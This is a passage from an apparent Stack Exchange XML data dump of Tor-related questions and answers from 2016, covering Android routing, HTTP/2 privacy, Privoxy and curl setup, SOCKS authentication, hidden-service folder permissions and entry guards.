traffic.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-04-30T19:10:33.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10319" PostTypeId="2" ParentId="10317" CreationDate="2016-05-01T01:32:45.633" Score="1" Body="&lt;p&gt;Impossible unless Tor is fully incorporated into AOSP firmware when compiled by hand. How to check: use wireshark or just a tcpdump on a wlan0 interface of your hostapd software AP. During bootup &lt;em&gt;some apps are able to make a quirk before Orbot is started&lt;/em&gt;, see for yourself.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-01T01:32:45.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10320" PostTypeId="1" CreationDate="2016-05-01T10:53:19.623" Score="2" ViewCount="287" Body="&lt;p&gt;How is are privacy/anonymity affected by the use of HTTP/2? Did anyone look into this yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that timing attacks might be simpler, because HTTP/2 has sever push and not-requested content might be sent, until the browser cancels them. On the other hand the use of a single (encrypted) stream might make that harder, when looked on from the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the protocol introduce new possibilities for fingerprinting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any research on this yet? Does the TBB take HTTP/2 into consideration? If there was no research yet, would it make sense to disable HTTP/2 for now, until implications are better understood (and workarounds for any problems that might pop up are in place)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And maybe as side question: How does HTTP/2 affect browsing speed? The protocol might be optimized, but high latency seems to be a bigger issue than with HTTP/1.1.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2016-05-01T11:08:21.227" LastActivityDate="2016-05-01T15:49:50.430" Title="How does HTTP/1.1 compare with HTTP/2 when using Tor?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10321" PostTypeId="2" ParentId="10317" CreationDate="2016-05-01T11:22:26.783" Score="3" Body="&lt;p&gt;Stopping android from connecting to the internet/disabling wifi/disabling wifi module/disabling auto connect unless Orbot is up isn't trivial. It would probably need modifications to the ROM/kernel itself.&#xA;You can use firewall rules and set them to block every connection besides TOR. It would still try to connect to the internet when Orbot is off but it wont succeed. Its much easier and works no matter what your internet source is (carrier or wifi), plus you can turn firewall rules off if you want.&lt;br&gt;&#xA;                                                                        EDIT: You can also use androids built in VPN option to route everything trough TOR. In that case if Orbot is off it will still try to connect to the VPN and fail therefore you want have internet.&lt;/p&gt;&#xA;" OwnerUserId="7696" LastActivityDate="2016-05-01T11:22:26.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10322" PostTypeId="2" ParentId="10320" CreationDate="2016-05-01T15:49:50.430" Score="1" Body="&lt;p&gt;No problem in using any TCP-based protocol over Tor : including HTTP. The privacy implications during web surfing via Tor are &lt;em&gt;not related in any matter&lt;/em&gt; to the protocol used : it is a client-side software case(s). So if you have a secure browsing &lt;strong&gt;habbits&lt;/strong&gt; and software - use it well and enjoy the speed of HTTP/2&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-01T15:49:50.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10323" PostTypeId="2" ParentId="8881" CreationDate="2016-05-01T19:36:55.077" Score="1" Body="&lt;p&gt;Although your question lacks a lot of details, the only problem I can spot is that your SSL error comes from an attempt to do STARTTLS over plain SMTP rather than using SMTPS from the very beginning. You can also be a victim of a filtering exit node, then try to change it. Also - it is &lt;strong&gt;required&lt;/strong&gt; to use an &lt;strong&gt;explicitly specified&lt;/strong&gt; security and login schemas &lt;strong&gt;always&lt;/strong&gt;, i.e. set an auth metod as LOGIN, outgoing server with authentication type LOGI explicitly required and via SMTPS(tcp:465)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-01T19:36:55.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10324" PostTypeId="1" CreationDate="2016-05-02T08:12:05.227" Score="1" ViewCount="427" Body="&lt;p&gt;Okay, so I'm running a few experiments on Tor for a course project. I keep on changing different relays to see the effects on response time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on some of the circuits, I keep on getting this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Circuit failed to be created: DESTROYED&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was reading &lt;a href=&quot;https://svn.torproject.org/svn/tor/tags/tor-0_2_0_5_alpha/doc/spec/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor's spec-file&lt;/a&gt; and found out that it's when the circuit gets destroyed w/o any explicit &lt;code&gt;TRUNCATE&lt;/code&gt; message sent by the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas how do I minimize the connections being destroyed? I think there might be a relationship between geographical distance. But then again, if it took too long to establish the circuit the message should have been &lt;code&gt;TIMEOUT&lt;/code&gt; and not &lt;code&gt;DESTROYED&lt;/code&gt;. So, it's probably due because relays might have to free resources from time to time? Or could be a whole different reason. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Since one (or more) relays send &lt;code&gt;destroy(circId)&lt;/code&gt; messages to destroy the circuit along the path I was wondering if there's any way to figure out which relay initiated the circuit destruction step.&lt;/p&gt;&#xA;" OwnerUserId="12717" LastEditorUserId="88" LastEditDate="2016-05-02T09:31:00.960" LastActivityDate="2016-05-02T09:31:00.960" Title="Tor Circuit failed to be created: destroyed" Tags="|relays|circuit|protocol|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10325" PostTypeId="2" ParentId="10288" CreationDate="2016-05-02T15:33:05.603" Score="0" Body="&lt;p&gt;I contacted the editor of 3quarksdaily.com and he emailed Typepad to investigate.  Unfortunately Typepad is blocking Tor.  Here is the response from Typepad:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to an increase in spamming and abuse from users of the Tor&#xA;  anonymous proxy, it was necessary to block access to Typepad sites from&#xA;  Tor users. We hope you understand the need for this level of security&#xA;  to project you and other members of the Typepad community.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For visitors to your site who prefer to use Tor, we would suggest that&#xA;  they subscribe to the blog's feed using a feed or subscribe to receive&#xA;  updates to your blog via email.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you have any other questions or concerns, please let us know.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Jen&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12679" LastEditorUserId="88" LastEditDate="2016-05-03T19:39:18.753" LastActivityDate="2016-05-03T19:39:18.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10326" PostTypeId="1" AcceptedAnswerId="10335" CreationDate="2016-05-02T17:27:35.783" Score="0" ViewCount="65" Body="&lt;p&gt;I (newbie) am giving tor a test drive, picked meetup.com. The first thing that site (&lt;a href=&quot;http://meetup.com&quot; rel=&quot;nofollow&quot;&gt;http://meetup.com&lt;/a&gt;) asks you for is your location (city). Is this bad, not recommended, no problem, ... ?&lt;/p&gt;&#xA;" OwnerUserId="12722" LastEditorUserId="88" LastEditDate="2017-04-21T11:16:30.000" LastActivityDate="2017-04-21T11:16:30.000" Title="Is providing location an issue?" Tags="|anonymity|location|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10327" PostTypeId="2" ParentId="10032" CreationDate="2016-05-02T20:34:56.717" Score="6" Body="&lt;p&gt;When you download the Tor Browser it acts purely as a client. Your software won't run as an exit node or a relay unless you tell it otherwise. So by downloading the Tor Browser from &lt;a href=&quot;https://torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;https://torproject.org/&lt;/a&gt; and running the software you're safe from turning into a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you don't need to take care of options in your &lt;code&gt;torrc&lt;/code&gt;. Formerly there was the option &lt;code&gt;ClientOnly&lt;/code&gt;, but this is not really used anymore. Instead Tor looks if &lt;code&gt;ORPort&lt;/code&gt;, &lt;code&gt;DirPort&lt;/code&gt; or &lt;code&gt;ExtORPort&lt;/code&gt; are configured. Only in this case Tor turn into a relay.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-05-02T20:34:56.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10328" PostTypeId="2" ParentId="9590" CreationDate="2016-05-03T04:35:45.187" Score="0" Body="&lt;p&gt;Won't work! I had this router and his &quot;older brothers&quot; [ since my last comment ] and tried Tor on it - it lags like hell! And even a physically launching Tor on it fails sometimes : it needs a RAM space, not this tiny amount on-board. Use Raspberry Pi connected by wire and acting like wireless AP. Feel free to ask for further details.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-03T04:35:45.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10329" PostTypeId="1" CreationDate="2016-05-03T12:12:33.623" Score="0" ViewCount="124" Body="&lt;p&gt;When ever I open Tor on my mac, 10.9.5 version, and when ever I open Tor it crashes when establishing network contact. This happens on what ever network I use. I've tried to reinstall it but the problem's still there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vp2bS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vp2bS.png&quot; alt=&quot;Network settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12729" LastEditorUserId="88" LastEditDate="2016-05-09T06:33:03.690" LastActivityDate="2016-05-09T06:33:03.690" Title="Tor auto-exits when opened - Mac" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="1" ClosedDate="2016-05-17T21:44:34.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="10330" PostTypeId="1" AcceptedAnswerId="10331" CreationDate="2016-05-02T13:26:36.097" Score="2" ViewCount="1709" Body="&lt;p&gt;I have installed privoxy over TOR on a centos server, I can curl successfully simple http page, but failed to get https page like &lt;a href=&quot;https://www.google.com&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com&lt;/a&gt;. &#xA;Here is my tor conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksBindAddress 127.0.0.1&#xA;SocksPort 10010&#xA;SocksPolicy accept *&#xA;#Log notice syslog&#xA;Log info file /var/log/tor/tor1.log&#xA;RunAsDaemon 1&#xA;User digi-tor&#xA;CircuitBuildTimeout 30&#xA;NumEntryGuards 6&#xA;KeepalivePeriod 60&#xA;NewCircuitPeriod 15&#xA;DataDirectory /var/lib/tor1&#xA;PidFile /var/run/tor/tor-1.pid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my privoxy config, I added/modified these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listen-address  127.0.0.1:11010&#xA;forward-socks5t   /               127.0.0.1:10010 .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I make a curl for an https page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -x http://127.0.0.1:11010  -s 'https://www/linkedin.com'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error on privoxy log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Crunch: Forwarding failed: www:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12746" OwnerDisplayName="user973296" LastActivityDate="2016-05-04T20:59:40.380" Title="failed to curl https url from Privoxy over tor" Tags="|ssl|https|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10331" PostTypeId="2" ParentId="10330" CreationDate="2016-05-03T17:07:32.967" Score="0" Body="&lt;p&gt;Use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5-hostname 127.0.0.1:10010 https://www.linkedin.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and take a look at further tutorial &lt;a href=&quot;http://blog.sanctum.geek.nz/ssh-socks-and-curl/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-05-04T20:59:40.380" LastActivityDate="2016-05-04T20:59:40.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10333" PostTypeId="2" ParentId="6514" CreationDate="2016-05-04T00:33:58.457" Score="0" Body="&lt;p&gt;Yes, it is the very same software acting in a different roles/modes. It is also a Directory server and HiddenServices directory sever, and the Bridge too.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-04T00:33:58.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10334" PostTypeId="2" ParentId="10317" CreationDate="2016-05-04T01:06:55.867" Score="2" Body="&lt;p&gt;There is some prior art in this field, however there is always an implicit Caveat Emptor when doing novel things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;OrWall&quot; android application is intended to create a 'fail-closed' scenario, however it doesn't appear to be actively developed anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It installs an init script that blocks outbound traffic with the intent that it stops applications making outbound connections before OrWall can start and set their profiles for what kind of connections are permitted for the app: &lt;a href=&quot;https://github.com/EthACKdotOrg/orWall/blob/dd381cbfa5b3cea046dc1e00948a0cf8e0afbc26/app/src/main/res/raw/userinit.sh&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EthACKdotOrg/orWall/blob/dd381cbfa5b3cea046dc1e00948a0cf8e0afbc26/app/src/main/res/raw/userinit.sh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It requires root, it will conflict with other apps that manage iptables settings (e.g. OrBot's own &quot;TransProxy&quot; mode) and it may be possible for traffic to leak before the init script is executed.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-04T01:06:55.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10335" PostTypeId="2" ParentId="10326" CreationDate="2016-05-04T01:17:12.590" Score="1" Body="&lt;p&gt;It will of course reduce your anonymity (potentially catastrophically) but if you don't require anonymity for the service itself then it is not a problem to use Tor for your normal day-to-day browsing. What you should do is &lt;strong&gt;always&lt;/strong&gt; make use of the &quot;New Identity&quot; functionality of Tor Browser (located under the green onion menu) to ensure a clean break between browsing sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't do this, traditional tracking methods may link your identity on the site in question to browsing you intend to be unlinkable to you. So if you don't need anonymity, ensure you perform &quot;New Identity&quot; before you start using the webpage (to ensure you don't drag contamination &lt;em&gt;into&lt;/em&gt; the session with you), then use &quot;New Identity&quot; again once you're finished using that service (to ensure you don't drag contamination &lt;em&gt;out of&lt;/em&gt; the session with you).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-04T01:17:12.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10336" PostTypeId="1" CreationDate="2016-05-04T05:27:49.253" Score="1" ViewCount="1156" Body="&lt;p&gt;I am having a bit of an issue connecting to Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working as a teacher in Turkey. In our schools there is a fiber cable connection provided by the Ministry of Education. However this network is &lt;strong&gt;extremely&lt;/strong&gt; restricted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried every single bridge option, but it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Windows 10 x64. There are no proxy servers needed. I am using Tor via the Tor Browser bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I can do or is it hopeless?&lt;/p&gt;&#xA;" OwnerDisplayName="user12741" LastActivityDate="2016-05-04T05:27:49.253" Title="None of the bridges work" Tags="|tor-browser-bundle|bridge|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10337" PostTypeId="2" ParentId="10329" CreationDate="2016-05-04T05:35:31.507" Score="0" Body="&lt;p&gt;(I don't have enough rep to comment but hopefully this is helpful.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you check your Tor config as a setting you recently changed might cause the Tor Engine to not start. I had the same problem when I forgot the &lt;code&gt;file&lt;/code&gt; in the &lt;code&gt;Log notice file tor.log&lt;/code&gt; line in my config. If you are not sure what happened you can always re-download the latest Tor (Browser) and reinstall it.&lt;/p&gt;&#xA;" OwnerDisplayName="user12741" LastActivityDate="2016-05-04T05:35:31.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10338" PostTypeId="2" ParentId="10330" CreationDate="2016-05-04T05:41:18.070" Score="0" Body="&lt;p&gt;I do not know about the Google page failing to load but your LinkedIn URL is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is&lt;br&gt;&#xA;&lt;code&gt;https://www/linkedin.com&lt;/code&gt;&lt;br&gt;&#xA;It should be&#xA;&lt;code&gt;https://www.linkedin.com&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user12741" LastActivityDate="2016-05-04T05:41:18.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10339" PostTypeId="1" AcceptedAnswerId="10343" CreationDate="2016-05-04T05:53:24.623" Score="1" ViewCount="2110" Body="&lt;p&gt;I want acess my server over VNC, cause RealVNC only client with proxy support under windows, I choosed it.&lt;br&gt;&#xA;But when I setup proxy, socks5 with 127.0.0.1:9150 in RealVNC,  It requesting username and password ! &lt;br&gt;&#xA;For example any other program over tor proxy not requesting password (I tried putty, chrome browser).&lt;br&gt;&#xA;Tor settinngs - default, nothing changed.&lt;br&gt; But what default username and password for tor socks proxy ?&lt;/p&gt;&#xA;" OwnerUserId="12742" LastEditorUserId="12742" LastEditDate="2016-05-04T10:21:13.247" LastActivityDate="2016-05-09T06:36:57.787" Title="RealVNC Viewer and Tor" Tags="|socks|proxy|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10340" PostTypeId="2" ParentId="10339" CreationDate="2016-05-04T10:01:18.400" Score="1" Body="&lt;p&gt;this solving by adding option &lt;code&gt;PreferSOCKSNoAuth&lt;/code&gt; to tor config file &lt;code&gt;torrc-defaults&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth PreferSOCKSNoAuth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12742" LastEditorUserId="88" LastEditDate="2016-05-09T06:36:57.787" LastActivityDate="2016-05-09T06:36:57.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10341" PostTypeId="1" AcceptedAnswerId="10342" CreationDate="2016-05-04T10:10:58.963" Score="1" ViewCount="3890" Body="&lt;p&gt;I have installed the Torbrowser, but since the installation, Tor configuration box appears and it does not connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the log I copied from Dialog Box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04-May-16 15:19:19 PM.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;04-May-16 15:19:20 PM.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;04-May-16 15:19:21 PM.200 [WARN] The connection to the HTTP proxy server at 192.168.1.102:443 just failed. Make sure that the proxy server is up and running. &#xA;04-May-16 15:19:22 PM.200 [WARN] The connection to the HTTP proxy server at 192.168.1.102:443 just failed. Make sure that the proxy server is up and running. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then it does not connect forever. Why doesn't Tor connect and what can I do to get it working?&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="88" LastEditDate="2016-05-09T06:29:49.317" LastActivityDate="2016-05-09T06:29:49.317" Title="Tor doesn't connect to proxy server" Tags="|tor-browser-bundle|configuration|windows|proxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10342" PostTypeId="2" ParentId="10341" CreationDate="2016-05-04T16:19:13.407" Score="2" Body="&lt;p&gt;&quot;DisableNetwork is set.&quot; is normal for Tor Browser, it disables the network before launching and then it gets unset once the user has chosen their configuration. (This is to avoid it trying to bootstrap into the tor network before the user has configured any required bridges or proxies.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears you have a proxy configured and that the tor process is failing to connect to the proxy, you should investigate and make sure the upstream proxy is working. You may wish to revisit your Tor Network Settings.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-04T16:19:13.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10343" PostTypeId="2" ParentId="10339" CreationDate="2016-05-04T16:25:49.273" Score="2" Body="&lt;p&gt;Tor utilises the SOCKS username and password authentication mechanism for isolation, not access control. You can enter any credentials and it will accept them as valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be wary of adding the &lt;code&gt;PreferSOCKSNoAuth&lt;/code&gt; option to the &lt;code&gt;SOCKSPort&lt;/code&gt; config because this might mislead some applications into &lt;em&gt;not&lt;/em&gt; using it for circuit isolation where they're configured to (Tor Browser, how would Firefox's SOCKS implementation handle this?). Instead set some arbitrary login for it like &quot;realvnc:realvnc&quot;. This will have the added benefit of your VNC traffic using a distinct circuit that won't be potentially linked to your other Tor traffic.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="88" LastEditDate="2016-05-09T06:36:04.897" LastActivityDate="2016-05-09T06:36:04.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10344" PostTypeId="1" AcceptedAnswerId="10351" CreationDate="2016-05-05T03:34:16.533" Score="2" ViewCount="2594" Body="&lt;p&gt;I installed Tor in Ubuntu 14.04 x64 and try to setup a hidden service via Apache virtual host (&lt;em&gt;I know Apache is unsafe for hidden service, but I'm out of options&lt;/em&gt;). I'm confused with the folder permission. The hidden service is located at &lt;code&gt;/var/wwwhidden&lt;/code&gt;. In &lt;code&gt;/etc/tor/torrc&lt;/code&gt; config file, I have the following lines &lt;strong&gt;only&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/wwwhidden&#xA;HiddenServicePort 80 127.0.0.1:8082&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created the folder &lt;code&gt;/var/wwwhidden&lt;/code&gt; with the following permission:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drwxrwx---  2 debian-tor debian-tor 4096 May  4 19:13 wwwhidden&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the log in &lt;code&gt;/var/tor/tor/log&lt;/code&gt; tells:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 05 11:23:48.000 [notice] Tor 0.2.4.27 (git-412e3f7dc9c6c01a) opening log file.&#xA;May 05 11:23:48.000 [warn] Fixing permissions on directory /var/wwwhidden&#xA;May 05 11:23:48.000 [warn] Could not chmod directory /var/wwwhidden: Permission denied&#xA;May 05 11:23:48.000 [warn] Error loading rendezvous service keys&#xA;May 05 11:23:48.000 [err] set_options(): Bug: Acting on config options left us in a broken state. Dying.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I try to &lt;code&gt;chmod&lt;/code&gt; the folder to 700 &lt;code&gt;drwx------&lt;/code&gt;, and restart the Tor service, the log then tells:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 05 11:33:13.000 [notice] Tor 0.2.4.27 (git-412e3f7dc9c6c01a) opening log file.&#xA;May 05 11:33:13.000 [warn] Couldn't open &quot;/var/wwwhidden/private_key.tmp&quot; (/var/wwwhidden/private_key) for writing: Permission denied&#xA;May 05 11:33:13.000 [err] Couldn't write generated key to &quot;/var/wwwhidden/private_key&quot;.&#xA;May 05 11:33:13.000 [warn] Error loading rendezvous service keys&#xA;May 05 11:33:13.000 [err] set_options(): Bug: Acting on config options left us in a broken state. Dying.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What permission should I use &amp;amp; how can I make the Tor service (planned to run as service) to generate &lt;code&gt;private_key&lt;/code&gt; and &lt;code&gt;hostname&lt;/code&gt; ? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12745" LastActivityDate="2016-05-05T21:38:41.623" Title="Trying to config hidden service, but encounter folder permission error" Tags="|onion-services|ubuntu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10345" PostTypeId="1" CreationDate="2016-05-05T07:09:49.197" Score="0" ViewCount="545" Body="&lt;p&gt;I'm worried. I connect to exact same entry node for days.  Even after 100 new circuit requests, it hasn't moved.  Am I being watched? How can I get TOR to connect to different first node? &lt;/p&gt;&#xA;" OwnerUserId="12756" LastActivityDate="2016-05-05T20:15:53.057" Title="Entry Node exactly the same for days. 100 request to change and remains same" Tags="|circuit|guard-node|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-05-09T06:38:31.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="10346" PostTypeId="1" CreationDate="2016-05-05T10:09:46.133" Score="1" ViewCount="181" Body="&lt;p&gt;Will Tor work with an &quot;openDNS&quot; system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does openDNS open my (computer) to access and snooping by the openDNS application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks --&lt;/p&gt;&#xA;" OwnerUserId="12757" LastEditorUserId="88" LastEditDate="2016-05-09T06:51:18.470" LastActivityDate="2016-05-09T06:51:18.470" Title="Will Tor work in an &quot;openDNS&quot; system" Tags="|network-configuration|dns|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10347" PostTypeId="1" CreationDate="2016-05-05T11:11:42.117" Score="1" ViewCount="330" Body="&lt;p&gt;I have a problem with finding a configuration file for my downloaded Tor browser bundle (the default installation from project webpage). I want to adjust some advanced settings for my Tor browser, and as of today, Vidalia is no longer available. What should I do? I also installed command-line version with macports, but how the default Mac OS X Tor app and command-line version interact? What I want to achieve is to have adjusted advanced settings in my default Tor app with GUI since I am not very familiar with browsing web via command-line tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for such issue on stack exchange, but found none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be grateful for assistance on this.&lt;/p&gt;&#xA;" OwnerUserId="12810" OwnerDisplayName="gameCon" LastActivityDate="2016-05-05T15:19:53.920" Title="How to configure Tor browser without Vidalia on Mac OS X?" Tags="|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10348" PostTypeId="2" ParentId="10346" CreationDate="2016-05-05T15:29:22.647" Score="1" Body="&lt;p&gt;as far as I'm concerned, openDNS is a &lt;em&gt;separate&lt;/em&gt; program acting like a DNS server. Yes, any normal-working DNS server can be set up to work in conjuction/&quot;with the help of&quot; Tor. Use an appropriate app security system like AppArmor or SELinux to protect yourself from malware - Tor is &lt;em&gt;just&lt;/em&gt; a networking layer of another kind, it's not all-in-one product. So your openDNS suspects has nothing to do with Tor itself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-05T15:29:22.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10349" PostTypeId="2" ParentId="4099" CreationDate="2016-05-05T15:35:48.100" Score="2" Body="&lt;p&gt;It's about pre-seeding, so what I'm recommending to people :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;At first, use default setup and well-known working connection and run Tor with directory mirror enabled and seed it&lt;/li&gt;&#xA;&lt;li&gt;Later you &lt;em&gt;can do if you want&lt;/em&gt; : &lt;code&gt;UseEntryGuards 0&lt;/code&gt; and use any of Tor nodes, to make paths more random&lt;/li&gt;&#xA;&lt;li&gt;Take a spin for &lt;code&gt;EntryNodes&lt;/code&gt; + &lt;code&gt;ExitNodes&lt;/code&gt; + &lt;code&gt;StrictNodes&lt;/code&gt; - play with it!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-05T15:35:48.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10350" PostTypeId="2" ParentId="4099" CreationDate="2016-05-05T17:52:09.490" Score="4" Body="&lt;p&gt;This is your &quot;Entry Guard&quot;, it acts as a protection mechanism. It is kept long term because it makes it harder for adversaries to deanonymize Tor users, since most of the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow&quot;&gt;attacks on onion routing require control of the entry and exit points to the network&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that some entry points are, hypothetically, naughty. Every time you pick a new entry point you are rolling a set of die and if the numbers come up wrong you might be subject to a naughty guard trying to perform a deanonymization attack, linking your activity on Tor to your identity. As such, the fewer times that you roll the die the less likely you will be to pick a naughty guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on why you want to keep this guard for a longer time period, read this blog post: &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; 